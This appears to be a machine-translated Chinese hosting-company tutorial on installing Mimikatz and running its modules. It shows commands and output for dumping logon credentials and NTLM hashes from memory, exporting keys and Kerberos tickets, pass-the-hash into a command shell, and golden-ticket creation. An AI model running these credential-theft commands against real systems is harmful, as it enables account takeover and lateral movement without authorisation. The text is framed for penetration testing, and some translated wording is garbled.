如何安装和使用 Mimikatz

什么是 Mimikatz?

Mimikatz 是由法国开发人员 Benjamin Delpy 创建的工具,用于收集凭据,并可以执行与渗透测试相关的一系列操作。 它的创建源于一个名为 WDigest 的 Windows 系统函数的显着漏洞。 WDigest 旨在允许较大的基于 Windows 的网络用户在 LAN 或 WAN 上的多个应用程序中建立凭据。 此功能将身份验证凭据存储在内存中,并允许自动重复使用,因此用户只需输入一次登录详细信息。

事实证明,他创造了一种最强大的工具来检测 Windows 系统的安全漏洞。 目前,渗透测试人员仍然使用 Mimikatz 作为辅助工具以及其他实用程序来测试 Windows 安全性。

攻击向量

以下是 Mimikatz 检查的五个攻击向量。

  • 传递哈希 — NTLM(或 Windows NT LAN 管理器)包含用于获取密码的散列。 该系统试图让最终用户多次使用密码,而不必再次重复使用相同的哈希。
  • 通票 — Kerberos 系统是一种网络身份验证协议,它基于票证工作,允许节点通过非安全网络进行通信以安全地相互验证其身份。 Mimikatz 可以从一个用户的帐户中获取这些票证,并使用它们以该用户身份访问系统。
  • Kerberos 金票 — 这将获得隐藏密钥分发中心服务帐户 (KRBTGT) 的票证,该票证会加密所有真实性票证,从而为网络中的任何计算机提供对管理级域的访问。
  • Kerberos 求解器票证 — 此 Windows 功能为用户提供访问网络中多项服务的票证。 这让可能的攻击者冒充网络用户。
  • 传递密钥 — 这将获得一个唯一密钥,用于在域控制器上进行身份验证。 然后,攻击者可以多次使用此密钥来冒充用户。

Mimikatz 安装

许多公司仍然发现此工具可用于检测和纠正其本地安全机构子系统服务安全性中的任何弱点。

警告:禁止将本程序用于其预期用途以外的任何其他目的。 利用它来扫描您无法控制或未经所有者许可的漏洞可能是非法的,并会受到刑事起诉。

第1步

首先,我们需要打开一个 Windows(或 powershell)终端。 为此,请按 Win+X,然后输入 cmd。

第2步

下一步将是 安装 Mimikatz. 可以通过打开以下链接(https://github.com/gentilkiwi/mimikatz/releases)从 GitHub 下载它。 Save 它是 .zip 或 .7z 格式,然后解压缩存档,并根据您的系统选择 x32 或 x64 版本。 之后,运行“.exe”格式的文件。 Mimikatz 也可以从源代码下载并自行构建。

Microsoft Windows [Version 10.0.19041.329]
(c) 2019 Microsoft Corporation. All rights reserved.

C:UsersKatherine>cd Downloads
C:UsersKatherineDownloads>cd mimikatz_trunk
C:UsersKatherineDownloadsmimikatz_trunk>cd x64
C:UsersKatherineDownloadsmimikatz_trunkx64> .mimikatz.exe

.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## /  ## /*** Benjamin DELPY gentilkiwi ( [email protected] )
##  / ## > https://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz #

让我们检查一下 Mimikatz 是否可以使用命令“版本”:

mimikatz # version

mimikatz 2.2.0 (arch x64)
Windows NT 10.0 build 19041 (arch x64)
msvc 150030729 207

mimikatz #

Mimikatz 模块

有各种各样的模块用于不同的目的,但我们只会回顾一些最受欢迎的模块。

模块标准 — 它包含可以在使用此工具时使用的简短命令。 让我们看一些标准命令:

  • 出口 — 退出程序;
  • 分类 — 清除控制台;
  • 睡觉 – 在几秒钟内切换到睡眠模式:
mimikatz # sleep 4200
Sleep : 4200 ms... End !

mimikatz #
  • 回答 – 开发人员也喜欢玩得开心,所以这个命令会打印生活中最重要问题的答案!
  • 光盘 – 更改或显示当前目录;
  • 日志 – 用于记录操作和记录日志:
mimikatz # log
Using 'mimikatz.log' for logfile : OK

mimikatz #
  • 咖啡 – 当没有空闲时间时,可以使用此命令来享受一杯虚拟咖啡的短暂休息;
  • base64 – 切换到在终端中打印输出,而不是将文件记录到磁盘。
  • 模块特权 – 它包含一些在使用 Mimikatz 时使用特权的命令。

让我们将 Mimikatz 置于调试器模式以拥有更多权限并获得更高的访问级别:

mimikatz # privilege::debug
Privilege '20' OK

mimikatz #

模块加密 – 该模块可与 CryptoAPI 函数一起使用。

提供者 – 此命令获取所有提供程序(如果它们可用):

mimikatz # crypto::providers

CryptoAPI providers :
0. RSA_FULL ( 1) - Microsoft Base Cryptographic Provider v1.0
1. DSS_DH (13) - Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
2. DSS ( 3) - Microsoft Base DSS Cryptographic Provider
3. RSA_FULL ( 1) H - Microsoft Base Smart Card Crypto Provider
4. DH_SCHANNEL (18) - Microsoft DH SChannel Cryptographic Provider
5. RSA_FULL ( 1) - Microsoft Enhanced Cryptographic Provider v1.0
6. DSS_DH (13) - Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
7. RSA_AES (24) - Microsoft Enhanced RSA and AES Cryptographic Provider
8. RSA_SCHANNEL (12) - Microsoft RSA SChannel Cryptographic Provider
9. RSA_FULL ( 1) - Microsoft Strong Cryptographic Provider

CryptoAPI provider types:
0. RSA_FULL ( 1) - RSA Full (Signature and Key Exchange)
1. DSS ( 3) - DSS Signature
2. RSA_SCHANNEL (12) - RSA SChannel
3. DSS_DH (13) - DSS Signature with Diffie-Hellman Key Exchange
4. DH_SCHANNEL (18) - Diffie-Hellman SChannel
5. RSA_AES (24) - RSA Full and AES

CNG providers :
0. Microsoft Key Protection Provider
1. Microsoft Passport Key Storage Provider
2. Microsoft Platform Crypto Provider
3. Microsoft Primitive Provider
4. Microsoft Smart Card Key Storage Provider
5. Microsoft Software Key Storage Provider
6. Microsoft SSL Protocol Provider
7. Windows Client Key Protection Provider

mimikatz #

钥匙 – 打印所有提供者的密钥列表(例如,它可以将密钥导出到终端):

mimikatz # crypto::keys /export
* Store : 'user'
* Provider : 'MS_ENHANCED_PROV' ('Microsoft Enhanced Cryptographic Provider v1.0')
* Provider type : 'PROV_RSA_FULL' (1)
* CNG Provider : 'Microsoft Software Key Storage Provider'

CryptoAPI keys :

CNG keys :
0. Microsoft Connected Devices Platform device certificate
|Provider name : Microsoft Software Key Storage Provider
|Implementation: NCRYPT_IMPL_SOFTWARE_FLAG ;
Key Container : Microsoft Connected Devices Platform device certificate
Unique name : de7cf8a7901d2ad13e5c67c29e5d1662_4446d1b2-0875-4cc5-bdeb-4835813c706d
Algorithm : ECDSA_P256
Key size : 256 (0x00000100)
Export policy : 00000003 ( NCRYPT_ALLOW_EXPORT_FLAG ; NCRYPT_ALLOW_PLAINTEXT_EXPORT_FLAG ; )
Exportable key : YES
LSA isolation : NO
Private export : OK - 'user_cng_0_Microsoft Connected Devices Platform device certificate.dsa.ec.p8k'

mimikatz #

模块 Sekurlsa – 它可用于从内存中提取密码、密钥、PIN 码、票证。 要使用此模块命令 ‘特权::调试‘ 应该使用。 从 Windows 8.x 和 10 开始,密码默认不在内存中,这提高了安全性。

登录密码 – 用于从内存中获取密码:

mimikatz # sekurlsa::logonPasswords

Authentication Id : 0 ; 143799 (00000000:000231b7)
Session : Interactive from 1
UserName : Katherine
Domain : HOME-PC
Logon Server : HOME-PC
Logon Time : 7/8/2020 12:00:02 PM
SID : S-1-5-21-1137163267-1680361566-2184406797-1001
msv :
[00000003] Primary
* Username : Katherine
* Domain : HOME-PC
* NTLM : 19afbb31b09b2d5eb218675addf4e73c
* SHA1 : e6770dc3e28e6755b49734a818ec7e17e69ef72f
tspkg :
wdigest :
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
kerberos :
* Username : Katherine
* Domain : HOME-PC
* Password : (null)
ssp :
credman :

mimikatz #

要以管理员身份运行命令行版本,我们使用以下命令。

mimikatz # sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd
user : Administrateur
domain : winxp
program : cmd
impers. : no
NTLM : f193d757b4d487ab7e5a3743f038f713
| PID 3176
| TID 3188
| LSA Process was already R/W
| LUID 0 ; 408781 (00000000:00063ccd)
_ msv1_0 - data copy @ 000001F73964A3C0 : OK !
_ kerberos - data copy @ 000001F739ED3E78
_ des_cbc_md4 -> null
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ des_cbc_md4 OK
_ *Password replace @ 000001F739681E78 (32) -> null

mimikatz #

pth (Pass-The-Hash) — 使用密码更改哈希而不是真实密码运行与其他帐户更改密码的过程;

门票/出口 — 使用从 Kerberos 票证内存中读取,并且对导出密钥和其他命令没有限制。

mimikatz # sekurlsa::tickets /export
Authentication Id : 0 ; 129210 (00000000:0001f8ba)
Session : Interactive from 1
UserName : Katherine
Domain : HOME-PC
Logon Server : HOME-PC
Logon Time : 7/8/2020 12:47:21 PM
SID : S-1-5-21-1137163267-1680361566-2184406797-1001

     * Username : Katherine
     * Domain : HOME-PC
     * Password : (null)

     Group 0 - Ticket Granting Service

     Group 1 - Client Ticket ?

     Group 2 - Ticket Granting Ticket

Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
UserName : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 7/8/2020 12:47:13 PM
SID : S-1-5-19

     * Username : (null)
     * Domain : (null)
     * Password : (null)

     Group 0 - Ticket Granting Service

     Group 1 - Client Ticket ?
     
     Group 2 - Ticket Granting Ticket

mimikatz #

模块 Kerberos – 它可以在没有任何特权的情况下工作,并且可以使用官方的 Microsoft Kerberos API。 可以为任何用户创建 Kerberos 票证(例如黄金票证和长期票证)。

ptt – 此命令将 Kerberos 票证嵌入到当前会话中;

金/银 – 该命令为任何需要的用户、用户组(例如管理员)创建带有随机数据的 Kerberos 票证;

tgt – 它显示有关当前会话的信息:

mimikatz # kerberos::tgt
Kerberos TGT of current session : no ticket !

mimikatz #

清除 – 执行所有票证和许多其他命令的清理。

有许多命令和模块,要使用它们,应该了解网络结构及其在 Windows 中的使用。 这些信息可以在官方网页上找到。 在组域设置中安全地实现 Kerberos 应该避免这里讨论的那种漏洞。

结论

在本文中,我们回顾了 Mimikatz,了解了它的使用地点和方式,并详细说明了为什么它在被恶意个人使用时既有用又危险。 我们已经学习了如何在 Windows 上安装它,并注意到它的一些基本命令可用于确定敏感信息。

如果您决定使用此实用程序来保护您的 Windows 网络,您将需要跟踪最新的 Mimikatz 更新和事件,以充分了解用于访问系统信息的方法和功能。

我们的支持团队充满了才华横溢的 Linux 技术人员和系统管理员,他们对多种 Web 托管技术(尤其是本文中讨论的技术)有着深入的了解。

如果您是完全托管的 VPS 服务器, Cloud 专用,VMWare 私有 Cloud私人父母服务器或专用服务器所有者,并且您对执行概述的任何步骤感到不舒服,可以通过电话 @800.580.4985 联系我们, 聊天 或支持票以帮助您完成此过程。